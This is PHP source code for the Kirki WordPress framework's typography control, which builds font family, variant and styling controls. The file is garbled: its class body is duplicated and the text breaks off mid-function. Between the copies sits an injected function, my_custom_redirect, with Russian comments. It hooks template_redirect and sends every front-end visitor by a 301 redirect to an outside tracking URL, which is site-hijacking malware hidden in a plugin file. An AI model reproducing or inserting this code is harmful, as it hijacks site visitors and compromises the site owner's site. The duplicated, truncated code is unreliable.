$variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // 